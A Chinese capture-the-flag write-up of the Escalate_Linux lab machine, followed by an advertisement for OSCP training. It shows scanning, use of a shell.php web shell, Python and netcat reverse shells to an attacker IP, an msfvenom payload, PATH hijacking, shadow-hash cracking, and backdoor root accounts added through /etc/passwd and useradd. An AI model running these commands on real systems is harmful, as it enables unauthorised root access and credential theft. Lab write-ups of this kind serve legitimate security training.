打靶日记 Escalate_Linux

admin 2025年5月15日18:13:29评论4 views字数 8027阅读26分45秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 Escalate_Linux
nmap -sS -sV -T5 -p- 192.168.10.24 -A
┌──(root㉿kali)-[/home/yzy/Desktop]
└─# nmap -sS -sV -T5 -p- 192.168.10.24 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-29 20:11 CST
Nmap scan report for 192.168.10.24
Host is up (0.00078s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      33904/udp6  mountd
|   100005  1,2,3      37467/tcp6  mountd
|   100005  1,2,3      57063/tcp   mountd
|   100005  1,2,3      59194/udp   mountd
|   100021  1,3,4      34019/tcp   nlockmgr
|   100021  1,3,4      46297/tcp6  nlockmgr
|   100021  1,3,4      52616/udp6  nlockmgr
|   100021  1,3,4      58781/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         3-4 (RPC #100003)
34019/tcp open  nlockmgr    1-4 (RPC #100021)
41173/tcp open  mountd      1-3 (RPC #100005)
57063/tcp open  mountd      1-3 (RPC #100005)
57071/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:0A:6E:D1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2025-04-29T12:11:37
|_  start_date: N/A
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUXx00
|   Domain name: x00
|   FQDN: osboxes
|_  System time: 2025-04-29T08:11:37-04:00

TRACEROUTE
HOP RTT     ADDRESS
1   0.78 ms 192.168.10.24

二、进行目录枚举

dirb http://192.168.10.24

没有爆出什么东西

打靶日记 Escalate_Linux
dirsearch -u http://192.168.10.24/turing-bolo/ -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

还是没有爆出什么东西

打靶日记 Escalate_Linux

进入网页查看,发现是阿帕奇的默认界面,尝试爆破.php页面,web平台默认支持PHP,如admin.phplogin.phpupload.php

打靶日记 Escalate_Linux
dirb http://192.168.10.24 -X .php

发现一个shell.php

打靶日记 Escalate_Linux

访问一下,尝试cmd

打靶日记 Escalate_Linux
打靶日记 Escalate_Linux

三、反弹shell

http://192.168.10.24/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹成功

打靶日记 Escalate_Linux

建立交互式终端

python -c "import pty; pty.spawn('/bin/bash');"
find / -perm -4000 -print 2>/dev/null
打靶日记 Escalate_Linux

四、提权

方法一(SUID提权)

前面通过find命令找到了user3用户下有一个shell脚本,并且可以执行,直接提权

打靶日记 Escalate_Linux

方法二(Path环境变量)

尝试:

发现user3用户下还有一个.script.sh,为root用户的,权限都有,猜测是定时任务

打靶日记 Escalate_Linux
echo'import os; os.system("/bin/nc 192.168.10.11 4444 -e /bin/bash")' > /home/user3/.script.sh
打靶日记 Escalate_Linux

但是这不是定时任务并没有执行,前面看到user5还有一个程序也是script,下载下来看看

python -m SimpleHTTPServer 4444
wget http://192.168.10.24:4444/script

下载后放到IDA反汇编

打靶日记 Escalate_Linux
  • setuid(0);setuid函数的作用是设置当前进程的用户 ID。参数0代表超级用户(root)。调用setuid(0)会让当前进程以超级用户的身份运行。

  • setgid(0);setgid函数用于设置当前进程的组 ID。参数0同样代表超级用户组。调用setgid(0)会让当前进程以超级用户组的身份运行。

  • system("ls");system函数会调用系统的命令解释器(通常是/bin/sh)来执行指定的命令。这里的命令是ls,其功能是列出当前目录下的文件和文件夹。

  • return 0;:此语句让main函数返回0,意味着程序正常结束

在user5里面还发现了一个ls程序

wget http://192.168.10.24:4444/ls

下载下来后发现是三个命令

打靶日记 Escalate_Linux

根据前面的script二进制文件可以知道,这个程序是以root运行的,以root的身份去执行ls命令,那么我们就可以通过环境变量来实现提权

cd /tmp
echo"/bin/bash" > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

echo $PATH

  • echo:用于输出内容到标准输出。

  • $PATH:这是一个环境变量,它包含了一系列用冒号分隔的目录路径。当你在命令行输入一个命令时,系统会在 $PATH 所包含的这些目录里查找对应的可执行文件。此命令会输出当前 $PATH 环境变量的值。

export PATH=/tmp:$PATH

  • export:用于设置环境变量。

  • PATH=/tmp:$PATH:将 /tmp 目录添加到 PATH 环境变量的最前面。这样一来,当你在命令行输入命令时,系统会先在 /tmp 目录中查找对应的可执行文件,若找不到,再到 $PATH 里的其他目录查找。

打靶日记 Escalate_Linux

方法三(john爆破)

原理和方法二是一样的,这里我们直接查看用户加密后的密码

cd /tmp
echo'cat /etc/shadow' > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
打靶日记 Escalate_Linux
$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1
hash-identifier

发现为SHA-256加密,但是这里是错的,这里是$6$salt$encrypted,对应 SHA-512(而非 SHA-256,后者对应 $5$

打靶日记 Escalate_Linux
echo'$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
打靶日记 Escalate_Linux

爆破出来密码为12345

打靶日记 Escalate_Linux

方法四(添加root用户密码哈希)

优点

绕过权限限制:若 /etc/passwd 意外可写(如配置错误),普通用户也可利用。

密码隐蔽性:直接使用哈希值,避免明文密码泄露。

快速执行:无需调用外部命令,直接修改文件

缺点

高风险操作:手动修改 /etc/passwd 易引发格式错误(如缺少字段),导致系统故障。

易被检测:文件完整性检查工具(如 AIDE)会标记 /etc/passwd 变动。

哈希兼容性:需确保哈希格式与系统匹配(如 $1$ 为 MD5,可能被禁用)

还是和前面的思路一样,这里是利用root用户修改etc/passwd来添加一个新的root用户

opeenssl生成一个密码,-1是加盐

openssl passwd -1 123
$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1

root 是登录名;x 表示密码存于 /etc/shadow,就是一个占位符;0 是 UID 与 GID,代表超级用户和 root 组;root 是描述;/root 是主目录;/bin/bash 是默认 shell

这样我们就可以将openssl生成的密码写入

yzy:$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1:0:0:yzy:/root:/bin/bash

这里要注意,>>为添加到末尾,而>会直接覆盖

cd /tmp
echo'echo "yzy:$1$4JMaJmaF$5BKYPnsUZWBU1KFYS675W1:0:0:yzy:/root:/bin/bash" >> /etc/passwd' > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
打靶日记 Escalate_Linux

方法五(添加root用户明文传输)

实际情况优先方法五

更隐蔽但是明文密码可能在进程列表或日志中泄露

符合系统规范:使用标准命令 useradd 和 chpasswd,不易被安全工具标记。

操作可控:自动处理用户创建和密码设置的关联操作。

日志误导:若系统未记录敏感操作,可能混入正常日志。

cd /tmp
echo'useradd -o -u 0 -g 0 -d /root -s /bin/bash liming && ' > ls
echo'echo "liming:123" | chpasswd' >> ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script

chpasswd 是一个用于批量更改用户密码的命令,它会从标准输入读取用户名和密码信息,格式为 username:password,随后为指定用户设置相应的密码。

打靶日记 Escalate_Linux

方法六(定时任务提权)

cat /etc/crontab

可以看到每过5分钟会以root来执行user4下的autoscript.sh

打靶日记 Escalate_Linux

可以看到只有user4才能进行写入操作,而我们不知道user4的密码,那么我们就可以通过上面的环境变量继续修改密码

打靶日记 Escalate_Linux
cd /tmp
echo'echo "user4:123456" | chpasswd' > ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script

切换成功

打靶日记 Escalate_Linux
cd /home/user4/Desktop/
echo"rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.11 7777 >/tmp/f" > autoscript.sh

耐心等5分钟这个是可以成功的

打靶日记 Escalate_Linux

方法七(定时任务提权MSF)

如果使用msf

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.11 lport=7777 R
可以上述那样直接在屏幕生成反弹代码,也可以像下面一样,将反弹代码生成到一个文件种
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=7777 -f raw -o bmfxpe
打靶日记 Escalate_Linux
echo"mkfifo /tmp/vnfr; nc 192.168.10.11 7777 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > autoscript.sh

还是等待5分钟就ok

打靶日记 Escalate_Linux

方法八(sudo提权vi编辑器)

cat /etc/sudoers

看到user8无需密码即可执行vi

打靶日记 Escalate_Linux
cd /tmp
echo'echo "user8:123456" | chpasswd' > ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
打靶日记 Escalate_Linux
打靶日记 Escalate_Linux
sudo vi

:!/bin/bash

输好后直接按enter键

打靶日记 Escalate_Linux

方法九(sudo su)

可以看到user2有user1的权限,user1有root权限

打靶日记 Escalate_Linux

直接修改user1的密码

cd /tmp
echo'echo "user1:123456" | chpasswd' >/tmp/ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script
打靶日记 Escalate_Linux

方法十

因为可以看到user2有user1的权限,我们可以通过user2无需密码直接切换到user1

打靶日记 Escalate_Linux

还是和上面一样修改user2的密码

打靶日记 Escalate_Linux

方法十一(root用户组)

cat /etc/passwd

可以看到user7为root组

打靶日记 Escalate_Linux

还是一样的直接修改密码

cd /tmp
echo'echo "user7:123456" | chpasswd' >/tmp/ls
chmod +x ls
export PATH=/tmp:$PATH
cd /home/user5/
./script

方法十二(mysql)

mysql -uroot -proot
show databases;
打靶日记 Escalate_Linux
use user
show tables;
打靶日记 Escalate_Linux
select * from user_info;
打靶日记 Escalate_Linux

mysql

mysql@12345

su mysql
find / -name mysql 2>/dev/null

查找mysql文件

打靶日记 Escalate_Linux
cd /var/mysql
打靶日记 Escalate_Linux

发现一个.user_informations,用户信息,给权限查看

chmod 777 .user_informations
cat .user_informations

这里可以看到用户名和用户的初始密码

打靶日记 Escalate_Linux
cd /etc/mysql
ls
cat secret.cnf

又得到了root初始密码,但是前面都已经改了

打靶日记 Escalate_Linux

方法十三

前面的find查找的时候还发现了user3下的shell程序

python -m SimpleHTTPServer 5555
wget http://192.168.10.24:5555/shell

放IDA反汇编,和前面是一样的

打靶日记 Escalate_Linux
echo"/bin/bash" > .script.sh
./shell
打靶日记 Escalate_Linux

方法十四(NFS挂载)

cat /etc/exports
打靶日记 Escalate_Linux

no_root_squash —-关闭了安全功能

这时我们就可以挂载到本地

cd /tmp
mkdir user5
mount -t nfs 192.168.10.24:/home/user5 /tmp/user5

可以看到挂载成功

打靶日记 Escalate_Linux

方法一

cp /bin/sh ./
ls -l sh
打靶日记 Escalate_Linux

然后到user5去执行,但是思路是没有问题的,应该是libc库版本的原因

方法二

将shell.c写入

#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }
打靶日记 Escalate_Linux
gcc shell.c -o shell
打靶日记 Escalate_Linux

这里也失败了,同样是libc版本的原因

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 Escalate_Linux

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 Escalate_Linux
打靶日记 Escalate_Linux
打靶日记 Escalate_Linux

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Escalate_Linux

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日18:13:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Escalate_Linuxhttps://cn-sec.com/archives/4048242.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息